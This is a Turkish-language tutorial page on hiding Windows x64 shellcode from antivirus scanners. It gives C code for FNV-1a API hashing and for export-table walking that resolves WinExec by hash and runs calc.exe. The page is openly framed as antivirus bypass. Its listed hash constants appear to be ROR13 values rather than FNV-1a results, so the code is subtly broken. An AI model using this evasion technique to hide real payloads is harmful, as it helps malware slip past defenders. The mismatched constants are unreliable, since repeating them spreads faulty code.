Windows/x64 API Hashing ve String Encryption ile Shellcode Obfuskasyon

<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-purple-500 pl-5 py-3 bg-purple-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-purple-700 mb-1">Modern Obfuskasyon - Windows x64 - AV Bypass</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Windows/x64 Shellcode Obfuskasyon - API Hashing ve String Encryption</h2>
    <p class="text-sm text-slate-600 mt-2">Statik AV'lar shellcode icindeki taninan stringlere imza uretir. API hashing bu stringleri gizler; calisma zamaninda fonksiyon adresleri hash degeri uzerinden bulunur.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">FNV-1a Hash ile API Sifrelemesi</h3>
    <div class="bg-slate-900 text-cyan-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
#define FNV_PRIME  0x01000193
#define FNV_OFFSET 0x811c9dc5

uint32_t fnv1a(const char* s) {
    uint32_t h = FNV_OFFSET;
    while (*s) { h ^= (uint8_t)*s++; h *= FNV_PRIME; }
    return h;
}
/* Hash degerleri:
   "WinExec"       -> 0x876F8B31
   "LoadLibraryA"  -> 0xEC0E4E8E
   "VirtualAlloc"  -> 0xE553A458 */
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Export Table Traversal</h3>
    <div class="bg-slate-900 text-cyan-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
FARPROC find_api(HMODULE dll, uint32_t hash) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dll;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)
        ((BYTE*)dll + dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)
        ((BYTE*)dll + nt->OptionalHeader
         .DataDirectory[0].VirtualAddress);
    DWORD* names = (DWORD*)((BYTE*)dll + exp->AddressOfNames);
    WORD*  ords  = (WORD*) ((BYTE*)dll + exp->AddressOfNameOrdinals);
    DWORD* funcs = (DWORD*)((BYTE*)dll + exp->AddressOfFunctions);
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        char* name = (char*)((BYTE*)dll + names[i]);
        if (fnv1a(name) == hash)
            return (FARPROC)((BYTE*)dll + funcs[ords[i]]);
    }
    return NULL;
}
// Kullanim:
FARPROC WE = find_api(hKernel32, 0x876F8B31);
((WINEXEC)WE)("calc.exe", SW_SHOW);
    </div>
  </div>
</div>